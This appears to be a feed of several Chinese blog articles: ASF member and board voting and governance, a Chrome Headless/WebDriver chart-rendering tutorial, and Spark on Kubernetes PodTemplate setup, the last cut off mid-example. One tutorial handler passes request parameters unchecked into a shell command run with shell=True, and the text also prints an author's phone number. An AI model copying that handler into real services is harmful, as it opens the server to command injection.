    怎样决定如何对成员候选人进行投票

    这完全由每个ASF成员来决定。新成员候选人由现有成员提名,候选人发布说明为什么他们认为候选人会成为好的成员。提名通常需要几秒钟的时间,其中许多还包括有关候选人当选原因的个人事迹。

    由于新候选人是参与Apache项目的人员,因此许多人通过搜索邮件列表来查看候选人过去如是何参与我们的社区贡献的。使用PonyMail的存档非常容易-ASF成员可以在其中查看所有邮件列表,甚至是私人邮件列表。

    许多成员都希望从现有成员那里获得强有力的提名理由,解释说明提名人为什么会成为好的候选人。在投票之前花几秒钟仔细阅读一下成员提名文件十分重要。

    董事会投票

    如何计算董事会投票额

    ASF使用一次可转让投票(STV)来选举每年董事会的所有9个席位。每个候选人都单独参加;没有候选人名单。只有ASF成员才能提名人选参加董事会选举;所有候选人都已经是ASF成员。

    STV旨在帮助小规模的相关选区选举董事会成员。这种计票设计有助于使选民展示自己的实际愿望,避免过于灵活。请继续阅读有关如何使用STV的讨论,包括有关志愿者投票监控员实际上如何收集选票的详细信息。

    要记住的最重要的事情是:请按照您的偏好顺序进行投票!尽一切努力使您的#1偏好进入董事会;#1选票比其余选票更重要。如果您按字母顺序投票(某些人似乎对过去的选票进行了投票),那么您会发出强烈的信号,表示您希望董事会以Awful先生和Beastly女士之类的名字出现-可能不是您想要的。我们的Apache STeVe工具将分配给候选人的字母随机化,以尝试解决这个问题。

    选举结果使用Seek的Meek方法计算。技术细节可以查阅Apache STeVe项目代码,当然这是Apache项目。

    STV计票循环进行。每当董事会候选人获得足够的选票以当选时,该循环就会列出名字。投票首先要分配给该选票上指示的第一候选人。随着投票的进行,投票将重新分配。当确定某候选人不会当选时候,他们的选票将重新分配。当候选人当选时,他或她只带了足够的选票就足以使他当选;他们的其他选票是根据该选票上排名较低的排序发送的。

    该YouTube视频提供一个轻松活泼的介绍:Politics in the Animal Kingdom: Single Transferable Vote: or a shorter description of how second, third, etc. place votes are allocated. Wikipedia has a general overview of Single Transferable Voting.

    怎样决定如何对董事会候选人进行投票

    显然,这取决于每个ASF成员的决定。实际上,所有成员以及董事会的所有候选人都是以个人身份行事,这意味着我们的公司治理永远不会受到其他公司或其雇主的影响。董事会的这种独立性是多年来ASF成功的关键因素。

    STV票数排名;您所投票的第一人比第二人更可能获得投票(依此类推)。

    如果您确实不希望某个人成为董事会成员,请完全省略他们,而不是将他们放在最后。

    尽管有9个空位,但您可以根据需要给任何人投票-即使第9位之后的投票也可能最终有重大意义。请注意,您不希望当选的人根本不会出现在您的列表中。

    例如,如果在选举中有89位成员投票,则候选人只需10张第一票就可以赢得董事会九个席位之一。这有助于确保首位偏好的小选区能够获得董事会席位。

    并提醒:您的投票顺序很重要!提交前请仔细检查您的选票,您可以根据需要多次投票给董事会。仅使用最后一次投票。因此,如果您犯了一个错误或改变了主意,只需再次投票。

    致努力成为ASF董事会成员和ASF成员的阿里人

    随着阿里对开源的不断投入,目前有大量的阿里人在积极的参与开源建设,如果你目前正在无私的进行着开源贡献,如果你也恰巧是在参与ASF开源建设,那么请在默默奉献的同时,了解ASF的治理策略,了解ASF的“晋升”之路。但这里强调一下,“晋升”是为了更大的责任,“晋升”是为了更好的服务!!!

    小结

    “因为信任,所以简单” 不仅仅是阿里的行为准则,也是进行开源贡献的为人之本。从小白到ASF高官是一个辛苦的过程,但最值得回忆的是路上的风景。踏上山顶才知道自己的渺小,从Contributor变成了Committer之后,才知道Committer不仅仅意味这你有了代码提交的权限,更意味着你对所参与的开源项目和Contributor的代码贡献有着不可推卸的责任!我们一路“晋升”,一路证明着自己,但证明的不仅仅是自己的能力,更是证明着自己敢于承担更大责任的勇气!期待在ASF看见优秀的你~

    任何问题欢迎留言,也欢迎线下探讨~~

    参考链接

    [1] https://www.apache.org/foundation/governance/meetings

    ]]>
    走进ASF系列 - 序 Fri, 02 May 2025 09:39:04 +0800 特别说明

    《走进ASF系列》分享的内容和观点不代表任何组织,仅代表我个人对Apache软件基金会(Apache Software Foundation,ASF)的认知!

    Who

    我2011年加入阿里,经历过若干组织架构调整,做过行为日志OPlog,阿里郎,云转码,文档转换等若干产品,在2016年10月份由于团队需要有幸接触到Blink的开发,开始了解Apache Flink社区,由初期的参与社区开发到后来逐渐主导具体模块的开发,到负责Apache Flink Python API(PyFlink) 的建设。 目前是 ASF Member, PMC member of @ApacheFlink and a Committer for @ApacheFlink, @ApacheBeam, @ApacheIoTDB 。我的开源之旅如下:

    image.png

    Why

    为啥要写《走进ASF系列》文章?核心考虑是发现国内大多数人都听说过ASF,同时我们国家也是世界上使用开源最多的国家之一,如下图展示了在ASF 2019年年度报告中披露的ASF软件在全球各国家的下载量排名:
    image.png
    中国已然成为Apache软件基金会项目下载量最大的地区。但是真正了解并参与ASF贡献,并且成为ASF Member的人非常稀少。这个现象并非我们没有能力参与ASF贡献,更不是没有能力成为ASF Member,而是对ASF了解的渠道比较少,同时或多或少的还可能有一点语言上障碍的原因,国内对ASF的参与和世界其他西方国家相比来说,参与的人数非常稀少!分享一些具体数字给大家:

    • ASF 拥有7000+代码贡献者,然而为 ASF 项目提交贡献的中国工程师仅千人规模,不足七分之一。
    • ASF 项目约350个,然而由中国发起的 ASF 项目仅19个,已成为顶级项目的比例更是不足5%。
    • ASF 孵化器拥有导师200多个,然而活跃的中国导师不超过5位。
    • ASF 每年在美国、欧洲等地举办 ApacheCon ,然而迄今为止,ASF 尚未在中国举办过一次 ApacheCon。
    • 在2019年5月份统计ASF Member 全球有730个,中国仅有13个。

    作为全球最大Apache开源消费国, ASF在国内有广泛的用户基础,近年来国内个大互联网公司也逐渐参与了Apache 开源建设,我们很有必要思考如何让中国的工程师有更多的有机会了解ASF,有更多的机会参与ASF贡献,有更多的机会成为Apache 开源项目的 Committer,PMC ,甚至是 ASF Member。

    所以《走进ASF系列》文章就是将我对ASF的认识和参与ASF贡献的经验与大家进行分享,大力推动ASF在中国的发展,竭尽全力让国人在ASF开源领域占有一席之地~~

    What

    《走进ASF系列》文章会从ASF 组织架构,ASF公司和ASF项目治理方案入手,宏观了解ASF如何运作。然后分多篇ATA进行各个细节的介绍,比如,如何参与Apache 具体项目做贡献,如何成为某个项目的Committer,如何成为某个项目的PMC成员,如何选择多个Apache 项目进行多领域贡献,如何成为ASF Member等等进行分享,各篇之间可能没有过多的关联,组织形式较为松散,望大家多见谅!

    When

    《走进ASF系列》文章分享要多久完成?这个我目前没有明确的时间计划,除非有同学强烈要求,一般情况分享时间会与工作闲忙有很大关系,至于什么时候终止分享,我想应该会持续分享!

    共同进步

    本系列文章可能由于个人疏忽或者知识和表达能力有限,有些用词或技术点描述可能有偏差,欢迎钉钉,电话,留言等各种反馈,不断修正,共同为后来者打造优质的ATA。

    关于点赞和评论

    本系列文章难免有很多缺陷和不足,欢迎大家给予反馈和建议,同时,也真诚希望读者对有收获的篇章给予点赞鼓励,您的点赞和评论是我持续输出的原动力~~

    钉钉: 金竹
    电话:18158190225

    阅读推荐

    为了方便大家查阅,所有分享会在此处保留Link.
    TODO

    其他系列文章推荐

    Apache Flink/Blink 漫谈系列

    ]]>
    走进ASF系列 - 初识ASF组织架构及治理 Fri, 02 May 2025 09:39:04 +0800 费曼技巧(The Feynman Technique)

    费曼技巧是一种 “以教为学” 的学习方式,源于诺贝尔物理奖获得者,理查德·费曼(Richard Feynman)。这个学习方法的秘诀是尝试用最简单的语言说清楚你要表达的内容,哪怕是一个深奥的科学理论,你也能用简单的表达方式让5岁的孩子或者60岁的老人很容易的理解和熟记。由于我也是在上周(2020.04.03)刚刚收到的成为ASF Member的邀请,所以《走进ASF系列》文章与其说是和大家分享,不如说是和大家一起学习!

    ASF 是什么?

    我想“ ASF 是什么?”是一个最简单的问题,也是一个最难回答的问题。简单是因为你可以以任何一个角度去描述,就像盲人摸象。而困难是因为你很难用一句话就完整全面的定义“ ASF 是什么?”。所以面对这样的问题我的考虑是,先描述表象,再探究其细节。就像我们回答宝马是什么,我们会说“别摸我”,奥迪是什么?我们会说“四个圈”。那么 ASF是什么?我想说,ASF是下面这个漂亮的羽毛 ;)

    image.png

    了解Logo也许是欣赏一个新事物最好的开始。那么下一秒你将有一连串的问题浮现出来?她多大了?干什么的?怎么运作的?和我有什么关系?接下来我们慢慢道来...

    与阿里同龄

    Apache软件基金会(ASF)是在美国注册的503©3非营利的公共慈善组织,与1999年成立。那么成立的最终目的是什么呢?ASF最核心的目的如下:

    • 通过提供硬件、通讯工具以及业务基础架构,为开放式协作开发软件项目提供基础。
    • 建立独立法人实体,任何公司和个人可以向其进行捐赠,并能够确保这些捐赠将用于公共利益。
    • 为个人志愿者提供避免针对基金会项目的法律诉讼的手段。
    • 保护应用于其软件产品的“Apache”品牌免受其他组织的滥用。

    所以ASF是有着美好愿景和伟大使命的公益性组织。ASF和阿里巴巴一样都成立于1999年,而且在利他方面可谓英雄所见略同,阿里巴巴以“让天下没有难做的生意”为使命, ASF则致力于开源软件生态的营造,让软件技术能够在全球共享,这是ASF无比耀眼的魅力所在!

    逐本溯源

    ASF的成立并非凭空出事,在ASF的前身其实是叫“Apache 小组”,这个小组当时在维护由NCSA编写的HTTPD Web服务器。从1995到1999年,由“Apache小组”所领导开发的 Apache HTTPD web服务成为了市场的领导者,一直持续到现在,目前仍占据了市场65%的份额。当年使用该服务的人越来越多,但是最初的开发人员对该项目失去了兴趣,并转移到其他项目上,从而使用户失去了支持。于是一个叫Brian Behlendorf的大牛在自己的计算机上创建了一个邮件列表,供这些用户协作以修复,维护和改进该软件。从1995年2月不到12位软件工程师通过电子邮件共享代码补丁开始,到后面的有了Apache网站,网站上又托管了很多关联项目(例如mod_ perl项目,PHP项目,Java Apache项目),这样的情形面临的问题越来越多,比如,潜在的个人被法律攻击等,进而越来越需要一个更加协调和结构化的组织来解决这些问题。于是到1999年6月ASF便注册成立了!:)

    成长的苦恼

    随着软件产品的不断成熟,用户越来越多,反馈的问题和软件增强的建议也越来越多,同时参与进行代码修补的人也越来越多。问题也随即而来,最初的几位创始人根本没有办法处理所有的问题,Review所有的代码补丁,Merge所以的提交,那么怎么办呢?当时Apache成员认为如果某位开发者,已经“赢得”了成为社区的一员的资格时,他们就授予此开发者对代码仓库的直接访问权限,也就是目前我们说的Committer,这样不断的增加团队的力量,也提高了团队开发项目的能力,进而更有效地维护和发展了团队。当然这只是冰山一角,ASF的治理当然不仅仅是Committer的发展了,下面章节我们进行系统的介绍。

    ASF治理

    目前ASF拥有超过140多个跨技术范围的项目,涉及350多个具体项目,7000+的代码贡献者,参与人员覆盖了全球230多个国家,为保障其健康的发展必须有一套简单高效的组织架构和治理手段。那么ASF的治理将涉及到ASF组织本身的治理和ASF对Apache网站所托管的项目的治理。

    公司的治理

    总的来看,ASF的治理相当简单:由成员(Member)来选举董事会;董事会任命各种管理人员并创建PMCs;PMCs定期向董事会报告,大多数其他管理人员向总裁然汇报,然后总裁向董事会报告。

    组织架构

    ASF公司治理首先要有一个完善的组织架构,和分工明确的角色职责。如下图所示:

    organization.png

    上面的组织架构整体围绕的“董事会”进行角色构建,董事会有主席(Chair)和副主席(Vice Char)。 公司设有总裁,副总裁,秘书,财务总监,法律顾问等职位。每种角色各肩其职。作为初识ASF的文章,我们简单了解如下宏观的内容即可:

    • ASF 由董事会来管理,董事会由成员构成。
    • 现有成员(Member)会定期提名和选举新成员,每年提名并选举9名董事加入董事会。
    • 董事会任命业务官员,并将特定政策或业务领域的责任分配给每位官员。例如,法律事务委员会副总裁负责为ASF和所有Apache项目设置法律政策,并与公司顾问进行合作。
    • 董事会任命执行官,包括总裁,秘书,财务总监等,他们负责ASF的特定运营。
    • 大多数官员每月直接向总裁报告,而总裁则每月向董事会报告ASF的整体运营状况。
    • 基础设施副总裁向总裁汇报,并对基础设施团队的运营进行宏观监督。在团队中,带薪的基础设施 管理者角色有助于管理日常操作,带薪人员确定工作优先级,并维护所有Apache项目中使用的服务。

    那么这些角色是如何产生的呢?ASF还需要一套选举任命的机制来保证整个组织的健康运行。

    选举和任命

    董事会负责创建并更新项目管理委员会( PMCs )。董事会只是批准孵化器的合理构建请求(毕业成为 TLPs )或来自 PMCs 自身(添加或删除 PMC 成员)的请求。在每种情况下,向董事会建议进行的变更都已经由相关的 PMC 完成了投票。如下图所示:

    corporate_governance.png

    • 董事会(Board)
      董事会由9名懂事组成,负责管理和监督ASF的各种事物。包括人员,资产(资金,知识产权,商标和支持项目所需要的基础设施)以及为项目分配资源。
    • 项目管理委员会(PMC)
      项目管理委员会由董事会决议设立,负责具体一个项目的事物管理。每个PMC由至少一名ASF官员组成,并指定一名成员为主席。每个PMC中的主席就是ASF在各个项目中的眼睛和耳朵,对ASF至关重要。当然PMC负责发展各自新的PMC成员和发展项目的Committer。
    • 各种VP
      ASF有这种VP,他们大多数官员每月直接向总裁报告,而总裁则每月向董事会报告ASF的整体运营状况。

    也许这些内容对于刚刚了解ASF或者刚刚加入ASF开源建设的同学简单了解一下即可,因为似乎距离还很“遥远”。(加引号原因是,我认为是 思想认为 的遥远,不是真的那么远)。接下来我们看看和具体项目贡献者密切相关的内容 - ASF项目治理。

    项目的治理

    每个项目都由项目的PMC进行独立管理,PMC以Apache的方式,遵循由所有官员为所有项目设置的一些核心原则。如下图所示:

    project_governance.png

    上图我以Apache Flink项目为例勾勒了项目治理的概要图。每个PMC都由ASF董事会进行管理,每个PMC都会负责制定自己项目的技术方向,发展项目的参与人员,用户(Users),贡献者(Contributors),提交者(Committers),新的PMC Members等等。

    • 用户(Users) - 就是使用项目润君的的大众,他们以错误报告和功能建议的形式向开发人员提供反馈进而为项目做贡献。
    • 贡献者(Contributors) - 就是开发人员,以写代码或写文档的形式为项目做贡献。开发人员可以多种方式共享社区,比如参加者邮件列表讨论、提交代码补丁、提交文档等等。
    • 提交者(Committers) - 提交者是一批特殊的贡献者,他们是拥有代码仓库写操作权限的开发者。
    • PMC 成员(Member) - 项目管理委员会(PMC)成员,是由在项目的开发中表现突出的提交者(Committers)选举出来的,他们拥有写入代码仓库的权限、拥有社区相关事务的投票权、以及有权提名新的PMC成员和Committer的权利和职责。

    ASF 董事会现状

    今年ASF年度成员会议, 在3.31~4.2期间举行, ASF 董事会选情相当激烈,有16为ASF Member参与竞选。竞选结果是去年的九席董事换了七位,二位董事 Craig Russell 和 Shane Curcuru 获得了连任。 目前同时会成员如下:

    • Shane Curcuru (连任董事)
    • Bertrand Delacretaz(原董事)
    • Roy Fielding(原董事)
    • Niclas Hedhman(新任董事)
    • Justin Mclean(新任董事)
    • Craig Russell (连任董事)
    • Sam Ruby(原董事)
    • Patricia Shanahan (新任董事)
    • Sander Striker (原董事)

    2020 新晋ASF Member

    上面的竞选和任命章节已经介绍过,ASF一年一度的成员会议中,不仅仅会选举9名董事成员,也会提名和投票新的ASF Member,本次提名总共有34名获得成功,其中有11为中国人(骄傲)!

    • 陈恩平 Timothy Chen
    • 冯嘉 Von Gosling
    • 邵赛赛 Jerry Shao
    • 史少锋 ShaoFeng Shi,上海
    • 孙金城 Jincheng Sun,杭州
    • 谭望达 Wangda Tan,San Jose, U.S.
    • 王小瑞 Xiaorui Wang,杭州
    • 吴晟 Sheng Wu,北京
    • 杨克特 Kurt Young,杭州
    • 张铎 Duo Zhang,北京
    • 张喆 Zhe Zhang,Mountain View, U.S.

    恭喜他们(当然也祝福一下我自己的幸运)!据最新统计(2020.04.06) ASF Member 全球有765名,华人有40名,其中在中国的有22人。

    ASF 一张图

    对于初识的用户来说,上面的内容也许太多了,记住一个Logo容易,记住一张图似乎比上面的文字要简单许多:)

    image.png

    ASF金字塔描述了不同角色的群体特征,越上面人群越小,但对ASF肩负的责任越大,越下面人群越大,但对ASF的责任越小,参与越容易! 记住ASF是什么从 羽毛 Logo开始,参与ASF共享从用户开始。

    ASF 一句话

    图可以描述表象,文字可以表述内涵,开篇的羽毛代表了ASF,但怎么描述这个漂亮的羽毛呢?“ASF是一个与阿里巴巴同龄(成立于1999年),有完整的组织(董事会)架构管理,以软件(140个领域)技术全球(覆盖230个国家)共享为使命的公益组织"。

    小结

    本篇是《走进ASF系列》的第一篇,我努力尝试在我自己身上体验“费曼技巧”,从概要介绍了什么ASF,进而推进介绍ASF组织架构,ASF公司治理和项目治理,意在让 想要 或 刚刚 参与ASF贡献的同学对ASF有一个初步认知。最后介绍了目前ASF董事会成员和2020年新晋的中国ASF Member。同时,为了方便大家记忆,以一张图,一句话的方式收尾本篇内容。

    同时《走进ASF系列》与我之前的《Apache Flink 漫谈系列》不同,讨论ASF更多的是非技术的分享,容易变成无重点,无内容,无收获的乏味分享,这是我最不愿意看见的现象。所以肯请大家在本系列的初期多给我一些或好或坏的评论建议,以便我们共同成长!谢谢大家~

    ]]>
    WebDriver 和 Chrome Headless Fri, 02 May 2025 09:39:04 +0800 基本概念

    WebDriver

    WebDriver 是 W3C 的一套规范,来源于 Selenium 这个自动化测试 Web 相关场景的项目。

    https://w3c.github.io/webdriver/

    它定义了一套 Resuful 风格的,针对浏览器的,可用于编程控制行为,获取状态的服务接口(自动化测试最初的诉求)。

    Chrome 下的 WebDriver 实现

    Chrome / Chromium 有单独的 WebDriver 实现: https://sites.google.com/a/chromium.org/chromedriver/

    对应已安装的 Chrome 版本,下载 WebDriver 之后,是一个可执行文件。

    这个可执行文件的作用,实际上是在本机实现了一套 HTTP 服务,默认在 9515 端口上,基本的列表在:https://chromium.googlesource.com/chromium/src/+/master/docs/chromedriver_status.md

    在 POST 到 /session 创建新会话之后(参数是 json 形式,需要带 sessionIdcapabilities),创建成功之后,你可以看到一个新的 Chrome 被启动,通过对应的 sessionId ,你就可以使用其它服务对这个 Chrome 进行操作了,包括打开指定 URL ,获取 DOM 状态,截图什么的。

    实际使用中,我们也可以直接使用 Selenium 模块,它有对这个 WebDriver 服务的封装。

    Chrome Headless

    Chrome 的“无头浏览器”模式,是指在没有 X 等图形桌面的环境下,执行完整的 Chrome 功能,通过命令行启动 Chrome 时,带上参数 headless 可以以“无头浏览器”模式启动。一般,直接在命令行使用,我们只是配合 screenshot 完成截图。

    但加上前面介绍的 WebDriver ,我们可以在没有 X 的服务器上,启动并 Daemon 化一个 Chrome 浏览器,它可以做测试用,而这里我要说的,是把它当成一个图表渲染工具使用。

    简单使用 Chrome Headless

    使用 Chrome Headless 做图表渲染工具,简单来说,就是运用像 ECharts 这类工具,在 html - css - js - canvas / svg 这套运行于浏览器环境的技术体系下,完成需要的图表绘制。这在, Web 项目中,可能是一个平常的操作,但在服务端没有浏览器环境的下,要画出一个好看的,并且易于控制的图表,在以往,其实并不是容易的事。可编程控制的图表绘制,在 Python 中,一般方案是 matplotlib ,对于数据类图表应用,它已经很出色了。但如果你进去想要控制一些细节的话,其实也挻难的。总的来说,这类场景,即使是 Python ,即使有 matplotlib ,同样的数据类图表应用,也很难与浏览器上的,一众基于 canvas / svg 的方案相比(平衡投入与产出情况下)。

    数据类图表应用,需要产出的大多是位图。利用 Chrome 的“无头浏览器”模式,直接截图就可以得到。

    先完成一个 ECharts Demo 的页面, demo.html

    <!DOCTYPE html>
    <html lang="zh-cmn-Hans">
    <head>
    <meta charset="utf-8" />
    <title>Echarts</title>
    <script crossorigin src="/media/20200413110704Dzy.js"></script>
    </head>
    <body>
      <div id="app" style="width: 1000px; height: 800px;"></div>
      <script type="text/javascript">
        var option = {
          animation: false,
         ...
        };
        var chart = echarts.init(document.getElementById('app'));
        chart.setOption(option);
      </script>
    </body>
    </html>

    然后 python3 -m http.server ,让它在 http://localhost:8080/demo.html

    接着使用 Chrome :

    google-chrome --headless --disable-gpu --screenshot --hide-scrollbars --window-size=1000x800 http://localhost:8000/demo.html

    (其它命令行参数,可以在这里找到: https://cs.chromium.org/chromium/src/headless/app/headless_shell_switches.cc

    这样,就可以在当前目录,得到一个 screenshot.png 的位图图表了。

    WebDriver 控制 Chrome Headless

    selenium 对 WebDriver 的封装,具体文档在: https://www.selenium.dev/selenium/docs/api/py/index.html

    先实现像命令行一样的功能:

    # -*- coding: utf-8 -*-
    
    from selenium import webdriver
    from selenium.webdriver.remote.webdriver import WebDriver
    
    def main():
        options = webdriver.ChromeOptions()
        options.binary_location = '/usr/bin/google-chrome-stable'
        #options.add_argument('headless')
        options.add_argument('hide-scrollbars')
        options.add_argument('window-size=1000x800')
        #options.add_experimental_option("detach", True)
    
    
        driver = webdriver.Chrome('/home/zys/chromedriver', options=options)
        #driver = WebDriver(command_executor='http://127.0.0.1:9515', desired_capabilities=options.to_capabilities())
    
        driver.get('http://localhost:8000/demo.html')
        driver.get_screenshot_as_file('/home/zys/selenium.png')
        #buffer = driver.get_screenshot_as_png()
        #print(buffer)
    
    
    if __name__ == '__main__':
        main()

    这个代码直接执行,不开 headless 选项情况下,执行完之后, Chrome 实例会销毁。如果使用 Remote 的方式连到 9515 ,则实例不会销毁,同时可以通过 session_id 属性得到会话标识。

    要整合进应用也很容易:

    # -*- coding: utf-8 -*-
    
    import os.path
    from .base import BaseHandler
    from .base_session import BaseSessionHandler
    from app.config import CONF
    
    ENV = CONF.get('general', 'env')
    
    class HeadlessHandler(BaseHandler):
    
        def get(self):
            driver = getattr(self.application, 'web_driver', None)
            if not driver:
                self.write('no webdriver is running')
                return
    
            url = self.get_argument('url', None)
            if not url:
                self.write('need a url')
                return
    
            driver.start_session(self.application.capabilities)
            width = self.get_argument('width', 1000)
            height = self.get_argument('height', 800)
    
            if width and height:
                try:
                    width = int(width)
                    height = int(height)
                    driver.set_window_size(width, height)
                except:
                    pass
    
            driver.get(url)
            buffer = driver.get_screenshot_as_png()
            driver.close()
    
            self.set_header('content-type', 'image/png')
            self.write(buffer)

    这整个应用中使用,需要稍加注意的,就是调度和部署的形式。

    • Handler 中使用,需要作 session 的隔离。
    • 启动一个 Chrome 实例,大概会占 150M - 200M 的内存。
    • 一台机器上,可以只启动一个 chrome_driver ,通过 --port 指定监听的端口。

    然后,因为所有的 Chrome 实例,都是在 chrome_driver 那边管理的,所以,应用中启动了实例,但是应用停止,或者重启时,旧的实例,需要注意,记得手工清除掉,否则会一直占用资源。

    def exit(sign, frame):
        if web_driver:
            web_driver.quit()
        server.stop()
        ioloop = tornado.ioloop.IOLoop.current()
        ioloop.add_callback(ioloop.stop)
    
    signal.signal(signal.SIGTERM, exit)
    signal.signal(signal.SIGINT, exit)

    我是通过系统信号的方式,确保调用到实例的 quit() 方法。

    截图对比

    上面的 WebDriver 方式直接对比命令行 Headless 方式:

    class Headless2Handler(BaseHandler):
        def get(self):
    
            url = self.get_argument('url', None)
            if not url:
                self.write('need a url')
                return
    
            width = self.get_argument('width', 1000)
            height = self.get_argument('height', 800)
    
            tf = tempfile.mktemp()
            image_file = tf + '.png'
            cmd = 'google-chrome --headless --hide-scrollbars --window-size={},{} --screenshot="{}" --disable-gpu --no-sandbox {}'.format(
                width, height, image_file, url)
            subprocess.call(cmd, shell=True)
    
            data = ''
            with open(image_file, 'rb') as f:
                data = f.read()
    
            self.set_header('content-type', 'image/png')
            self.write(data)
            self.finish()
            os.remove(image_file)

    从效率上来说,结果两者是差不多的。

    复用实例

    使用了 WebDriver ,理论上来说,一个 Headless 的 Chrome 实例,在整个应用的生命周期中,是可以只初始化启动一次的。

    前面 Headless 的例子,每次请求都重复初始化 sessionId ,是因为如果直接复用实例,直接 driver.get(url) ,则会报一个 sessionId 不合法的错误。怀疑是 selenium 或者 Chrome 自身的 BUG 。

    后来,想到了另一种绕过去的办法,就是实例中的页面只加载一次,之后,通过 driver.execute_script(js_code) 来控制页面内容,访问指定页面,可以使用:

    driver.execute_script('location.href = "{}"'.format(url));

    这样,这个 driver 的状态,就直接在每次请求之间被复用,省了初始化的巨大开销。

    在我的一台捉襟见肘的服务器上,启动 Chrome,或者初始化会话,大概需要 4 秒。而复用 driver 之后,同样的逻辑,单个请求,就可以快 4 秒!

    同理,对于图表绘制场景,我们可以让 driver 在初始化后,访问 CDN 上的一个 HTML 页面,这个页面会加载 ECharts 之类的资源,同时在 window 上定义一个全局的 render(echarts_option) 函数。 Web 服务的请求,可以带上完整的 ECharts 绘图配置,通过 driver.execute_script() 执行,然后截图。省去 Chrome 初始化的开销,这个得到绘图结果的过程可以极快,我的服务器上,浏览器里请求-响应完整的耗时,可以在 400ms 以内。

    真实的业务服务器上,估计可以 200ms 完成。这个水平应该可以 PK Nodejs 上直接的 canvas API 兼容性方案了(让 ECharts 可以直接在 Nodejs 环境完成渲染),但是完整的浏览器页面的能力,完全超越仅 canvas API 的能力(试试用 canvas 画一个排版好的花哨的表格,有 <table> + CSS 能打?)。

    200ms 的基准还要突破,一个思路,是在一个页面同时完成多个图表渲染,得到图表之后,应用层再按规则切割。

    ]]>
    Spark on Kubernetes 的 PodTemplate 配置 Fri, 02 May 2025 09:39:04 +0800 vcg_VCG41157477466_RF.jpg
    镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

    一、概述

    本文主要讲 Apache Spark on Kubernetes 的 PodTemplate 配置问题,其中涉及Spark Operator 里关于 PodTemplate 的问题,以及 Apache Spark 2.2 on Kubernetes 的 Fork 版本问题。

    通常 Apache Spark on Kubernetes 在配置 Pod 的时候会有一些限制,比如针对 Pod 的调度,想加个 NodeSelector 或者 Tolerations。这在集群公用,或者有各种类型任务的集群里,是经常会遇到的情况,而在 Spark 2.x 里却是很难实现的。目前最新 Release 的版本 2.4.5 还没有支持通过 PodTemplate 来自定义 Pod 的配置,而社区的计划是在 Spark 3.0 的时候实现该功能,他支持的方式其实也比较简单,就是通过 PodTemplate 的一个文件,去描述 Driver/Executor 的 metadata/spec 字段,这样就可以在模板文件里加入调度所需要的一些字段。接下来,我们会为大家介绍配置 PodTemplate 的具体方法。

    二、配置 PodTemplate

    实际上,在  Spark Operator 里,本身就支持 Pod Template 的配置 SparkPodSpec,也就是说,像 NodeSelector, Tolerations 之类的,可以在创建 CRD 对象的时候在 YAML 上添加上,非常方便,比如下面的例子。

    apiVersion: sparkoperator.k8s.io/v1beta2
    kind: SparkApplication
    metadata:
      name: spark-pi
      namespace: default
    spec:
      type: Scala
      mode: cluster
      image: gcr.io/spark/spark:v2.4.5
      mainClass: org.apache.spark.examples.SparkPi
      mainApplicationFile: local:///opt/spark/examples/jars/spark-examples_2.11-2.4.5.jar
      nodeSelector: 
        key: value

    可以看出,通过 Spark Operator 来配置,是比较灵活的。而在 Apache Spark 3.0 中,PodTemplate 是需要在 spark-submit 阶段将模板文件加到 spark.kubernetes.driver.podTemplateFile 或者 spark.kubernetes.executor.podTemplateFile 里的。
    众所周知, Spark 在下载依赖文件的时候,可以通过  HTTP/HDFS/S3 等协议来下载需要的文件。但是读取 PodTemplate 的 API,目前只支持本地文件系统(当然要改成支持 http 也不是很复杂),SparkConf 的配置如下:

    # template 在本地
    spark.kubernetes.driver.podTemplateFile=/opt/spark/template.yaml
    spark.kubernetes.executor.podTemplateFile=/opt/spark/template.yaml

    关于 Apache Spark 3.0 是如何加载这些 PodTemplate 的文件,我们可以通过源码看出。在将 PodTemplate 文件加载到系统里的关键方法是是 KubernetesUtils.loadPodFromTemplate()

    def loadPodFromTemplate(
      kubernetesClient: KubernetesClient,
      templateFile: File,
      containerName: Option[String]): SparkPod = {
      try {
        // 主要的还是利用 K8S 的客户端去 load 模板文件
        // load 模板文件目前只能支持本地文件系统,因为底层调用的是 File 接口
        val pod = kubernetesClient.pods().load(templateFile).get()
        // 这里需要注意会从模板里把指定 Container 捞出来
        // 目的主要是捞出来 Driver 和 Executor 容器
        // 否则就是以第一个容器作为 Driver/Executor 的容器
        selectSparkContainer(pod, containerName)
      } catch {
        case e: Exception =>
          logError(
            s"Encountered exception while attempting to load initial pod spec from file", e)
          throw new SparkException("Could not load pod from template file.", e)
      }
    }

    通过上述方法就可以利用 PodTemplate 来做一些 Pod 的定义了,避免了大量极其繁琐的 SparkConf 的配置。
    由于通过 PodTemplate 来引导定义的操作相对来说是比较前置的,所以有些属性,可能会被后面针对 Pod 的其他配置给 overwrite,在 Spark 的最新文档的 running-on-kubernetes,可以找到那些属性可能会被后置配置覆盖掉。
    关于 Spark Driver Pod 配置的具体步骤如下图所示:

    1.png

    val features = Seq(
      new BasicDriverFeatureStep(conf),
      new DriverKubernetesCredentialsFeatureStep(conf),
      new DriverServiceFeatureStep(conf),
      new MountSecretsFeatureStep(conf),
      new EnvSecretsFeatureStep(conf),
      new MountVolumesFeatureStep(conf),
      new DriverCommandFeatureStep(conf),
      new HadoopConfDriverFeatureStep(conf),
      new KerberosConfDriverFeatureStep(conf),
      new PodTemplateConfigMapStep(conf),
      new LocalDirsFeatureStep(conf))
    val spec = KubernetesDriverSpec(
      initialPod,
      driverKubernetesResources = Seq.empty,
      conf.sparkConf.getAll.toMap)
    features.foldLeft(spec) { case (spec, feature) =>
      val configuredPod = feature.configurePod(spec.pod)
      val addedSystemProperties = feature.getAdditionalPodSystemProperties()
      val addedResources = feature.getAdditionalKubernetesResources()
      KubernetesDriverSpec(
        configuredPod,
        spec.driverKubernetesResources ++ addedResources,
        spec.systemProperties ++ addedSystemProperties)
    }

    看完整个过程,可以发现,装配 Driver Pod 的步骤非常复杂。主要是延续了 Spark 2.2 on K8S 那个 Fork 的思路。具体如下:

    1. 通过自定义镜像,将 PodTemplate 文件置入镜像的某个目录中,如 /opt/spark/template.yaml
    2. 在 SparkConf 填入参数 spark.kubernetes.driver.podTemplateFile=/opt/spark/template/driver.yaml
    3. 如果 Pod 里准备用其他容器,则需要在 SparkConf 指定 Driver Container 的名字,例如:spark.kubernetes.driver.podTemplateContainerName=driver-container

    三、运行

    下面给出一个例子,来给 Spark 的 Drvier/Executor 都加一个 initContainer,将 PodTemplate 文件 template-init.yaml 放在 /opt/spark 目录下,下面是 PodTemplate 的具体内容,即添加一个会 sleep 1s 的 initContainer。

    apiversion: v1
    kind: Pod
    spec:
      initContainers:
      - name: init-s3
